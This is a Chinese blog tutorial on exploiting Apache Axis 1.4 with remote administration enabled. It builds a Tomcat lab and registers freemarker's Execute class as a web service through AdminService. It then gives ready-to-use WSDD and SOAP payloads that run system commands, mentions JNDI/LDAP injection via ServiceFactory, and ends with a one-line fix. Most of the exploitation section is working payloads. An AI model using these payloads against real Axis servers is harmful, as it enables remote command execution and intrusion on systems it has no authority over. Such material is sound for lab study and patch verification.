如何对使用了Axis组件的Java项目进行漏洞利用

近期发现一个高级的漏洞利用姿势——对使用了axis组件的Java项目进行远程命令执行。

IDEA+JavaWeb项目(servlet)+axis-bin-1_4.tar.gz+freemarker-2.3.8.jar+阿里云服务器

一、在本地使用IDEA搭建一个简单的JavaWeb项目

1、GitHub下载一个简单的JavaWeb项目CustomerManagement

2、在阿里云上开启一个Tomcat8的docker,将项目文件传输至Tomcat容器中

将项目的CustomerManagement-master/CustomerManagement_for_Eclipse/WebContent目录(jsp文件)拷贝到阿里云上开启的Tomcat目录的tomcat/webapps/目录下,浏览器访问WebContent目录下的任一jsp文件,访问成功则表示该项目部署成功。

二、在JavaWeb项目中引入axis组件

Axis是Apache组织推出的SOAP引擎,Axis项目是Apache组织著名的SOAP项目的后继项目;

当安装好Tomcat以后,只需将下载的Axis软件包解压缩,将其中的“webapps”目录下的“axis”目录整个拷贝到Tomcat安装目录下的“webapps”目录下便可。

启动Tomcat服务器,在浏览器中访问 http://yourIP:8080/axis/happyaxis.jsp,若是页面显示有错误,则须要回头检查一下相关配置是否正确,若是浏览页面能正确显示出系统组件、属性等参数配置信息,则表示安装成功.

下载的freemarker-2.3.8.jar放在axis/WEB-INF/lib目录下

三、Axis服务发布(参考https://www.cnblogs.com/zhuyx/archive/2008/03/03/10401998.html)

Axis提供了两种服务发布方式,一种是即时发布(Instant Deployment),一种是定制发布(Custom Deployment):

(1)使用即时发布首先须要一个实现服务功能的Java源文件,将其扩展名改成.jws(Java Web Service的缩写),而后将该文件放到“……\webapps\axis”目录下便可,每当用户调用这类服务的时候,Axis会自动进行编译;

(2)将Java源文件编译成.class文件,放置到“……\webapps\axis\samples\capacity”目录下,不须要构建.jws文件,但必须建立服务发布描述文件deploy.wsdd(Web Service Deployment Descriptor的缩写),这个文件负责描述服务的名称、入口等信息,将该文件也放到“……\webapps\axis\samples\capacity”目录下,而后能够采用Axis提供的一个客户端管理工具——AdminClient来完成服务的定制发布。在“……\webapps\axis\samples\capacity”目录下,运行:

java -cp %AXISCLASSPATH% org.apache.axis.client.AdminClient deploy.wsdd

经过访问 http://yourIP:8080/axis/services/Capacity?wsdl能够看到这个服务的WSDL描述文件,这说明Capacity服务被成功发布了

WEB-INF/web.xml 去掉AdminServlet注释

四、漏洞利用部分

当enableRemoteAdmin属性设置为true时,攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,向服务对应的jsp文档里写入shell内容,传入要执行的命令,就可以进行远程命令执行漏洞的利用。

打开axis/WEB-INF/server-config.wsdd,设置AdminService enableRemoteAdmin == True

 

注册服务:

一开始没有

执行命令时需要环境变量找到jar包路径,因此在Tomcat容器中配置环境变量:
vim ~/.profile

export AXIS_HOME=/var/lib/tomcat8/webapps/axis
export AXIS_LIB=$AXIS_HOME/WEB-INF/lib
export AXISCLASSPATH=$AXIS_LIB/axis.jar:$AXIS_LIB/commons-discovery-0.2.jar:$AXIS_LIB/commons-logging-1.0.4.jar:$AXIS_LIB/jaxrpc.jar:$AXIS_LIB/saaj.jar:$AXIS_LIB/log4j-1.2.8.jar:$AXIS_LIB/xml-apis.jar:$AXIS_LIB/xercesImpl.jar:$AXIS_LIB/wsdl4j-1.5.1.jar

source ~/.profile

输入以下内容,创建deploy.wsdd文件,开启RemoteAdmin服务:

<deployment xmlns="http://xml.apache.org/axis/wsdd/"
    xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
  <service name="AdminService" provider="java:MSG">
    <parameter name="className" value="org.apache.axis.utils.Admin"/>
    <parameter name="allowedMethods" value="*"/>
    <parameter name="enableRemoteAdmin" value="true"/>
  </service>
</deployment>

root@62790cf064c3:/usr/local/tomcat# cd webapps/axis/WEB-INF/

root@62790cf064c3:/usr/local/tomcat/webapps/axis/WEB-INF# ls

attachments  classes  deploy.wsdd  lib users.lst  web.xml

部署刷新配置:

root@62790cf064c3:/usr/local/tomcat/webapps/axis/WEB-INF# java -cp $AXISCLASSPATH org.apache.axis.client.AdminClient deploy.wsdd

log4j:WARN No appenders could be found for logger (org.apache.axis.i18n.ProjectResourceBundle).

log4j:WARN Please initialize the log4j system properly.

Processing file deploy.wsdd

<Admin>Done processing</Admin>

AdminServer注册成功

!--><ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="yourName" provider="java:RPC"><ns1:parameter name="className" value="freemarker.template.utility.Execute"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service></ns1:deployment

<ns1:service name="test1Service" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>

查看server-config.wsdd

调用执行命令:

<?xml version="1.0" encoding="utf-8"?>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:buil="http://build.antlr">

  <soapenv:Header/>

  <soapenv:Body>

     <exec xmlns:apachesoap="http://xml.apache.org/xml-soap" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">

        <item>

          <string xsi:type="soapenc:string">calc</string>

        </item>

      </exec>

  </soapenv:Body>

</soapenv:Envelope>

org.apache.axis.client.ServiceFactory下getService服务中进行了context.lookup操作,也就是说我们注册这个方法并调用传递恶意ldap服务即可完成攻击:

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">/sbin/ifconfig</multiRef></multiRef></soapenv:Body></soapenv:Envelope>

卸载服务:

host=IP&port=8080&url=/services/AdminService?method=!--><ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="yourName" provider="java:RPC"><ns1:parameter name="className" value="*"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service></ns1:undeployment&filename=123.jpg

 

 

五、漏洞修复

关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.

AdminServlet/servlet/AdminServlet

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值